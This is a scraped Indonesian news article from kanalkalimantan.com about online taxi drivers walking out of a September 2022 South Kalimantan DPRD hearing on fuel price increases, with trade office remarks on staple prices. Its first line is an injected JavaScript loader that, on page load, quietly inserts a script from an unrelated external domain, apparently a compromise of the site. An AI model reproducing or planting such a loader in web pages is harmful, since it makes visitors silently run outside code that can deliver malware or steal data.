(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Rapat Dengar Pendapat (RDP) terkait penolakan kenaikan BBM yang digelar di gedung DPRD Kalsel diwarnai aksi walk out perwakilan Ojek Online saat tengah berlangsungnya rapat, Selasa (13/9/2022).
Rapat dihadiri oleh Forkopimda, organisasi kemahasiswaan, ojek online, Pertamina dan pihak lainnya yang langsung dipimpin oleh Ketua DPRD Kalsel H Supian HK.
Disampaikan Halim, selaku perwakilan ojek online, pihaknya meninggalkan Rapat Dengar Pendapat karena kecewa dengan subtansi pembahasan rapat dan ketidakhadiran perwakilan dari DPR RI yang sudah diundang.
“Yang kami hadapi hari ini dewan-dewan provinsi sedangkan tujuan kami adalah dewan-dewan pusat yang mewakili Kalimantan Selatan, tapi mereka tidak berhadir,” katanya pada Selasa, (13/9/2022) saat ditemui kanalkalimantan.com.
Baca juga : Saat Ojol Menanti Keputusan Menhub terkait Kenaikan Tarif yang Tak Kunjung Turun
Selain itu yang menjadi kekecewaan pihak ojol saat rapat tersebut adalah terkait pembahasan rapat. Mereka menginginkan juga dibahas terkait kenaikan-kenaikan bahan bahan pokok yang selama ini juga menjadi momok bagi masyarakat kelas bawah.
“Kami jelas menginginkan turunya BBM, tapi ada yang lebih penting bagi kami juga yaitu soal bahan pokok yang juga naik bahkan sebelum BBM naik, sedangkan kami dari teman-teman ojek online hanya sekitar paling banyaj 20% yang mendapatkan BLT BBM dari seluruh ojek online,” katanya.
“Kami berharap 9 bahan pokok ini yang harusnya dibahas pada RDP ini, tapi mereka sibuk membahas soal mafia-nafia migas yang sudah berulang-ulang dari dulu,” tambah Halim kepada kanalkalimantan.com.
Sementara itu Birhasani Kepala Dinas Perdagangan Kalimantan Selatan yang juga mengikuti rapat tersebut mengatakan bahwa saat ini kenaikan yang terjadi belum sepenuhnya disebabkan oleh kenaikan BBM, tapi juga dipengaruhi faktor-faktor lainnya.
Baca juga : BLT BBM Cair Rp 500 Ribu, Ojek Online : Mending Harga BBM Kembali Semula
“Memang naiknya BBM ini akan terasa setelah sepekan, kalau sekarang memang ada harga bergejolak tapi itu disebabkan oleh terhambatnya distribusi dan gagalnya panen,” katanya.
Dirinya mengungkapkan kenaikan harga bahan pokok dan barang lain akan terjadi dalam beberapa waktu kedepan ketika barang-barang yang baru sudah di distribusikan oleh distributor.
“Saat ini kan barang-barang yang dijual adalah modal lama atau stok lama dan barang-barang saat ini pun belum banyak dipasok oleh distributor, mereka masih menghitung-hitung untuk menaikan,” ungkapnya.
Baca juga : Dirum PTAM Intan Banjar: Tarif Tetap Naik Atau Batal Tunggu RUPS
Terkait solusi dari Dinas Perdagangan pihaknya mencoba untuk mencarikan jalan keluar dengan salah satunya menggelar pasar murah kepada masyarakat.
Birhasani juga mengungkapkan program pasar murah ini harus dibantu juga oleh pemerintah daerah dan harus intensif dalam mengadakan pasar murah bagi masyarakat.(Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : cell
KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More
KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More
KANALKALIMANTAN.COM, BANJARBARU - Di akhir masa tugas yang diemban, Penjabat Sementara (Pjs) Wali Kota Banjarbaru… Read More
KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyinggung peluang menjemput paksa mantan Gubernur Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sembilan partai politik (Parpol) pemegang kursi Dewan Perwakilan Rakyat Daerah (DPRD) Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pasangan Calon Bupati dan Calon Wakil Bupati Banjar nomor urut 01, H… Read More
This website uses cookies.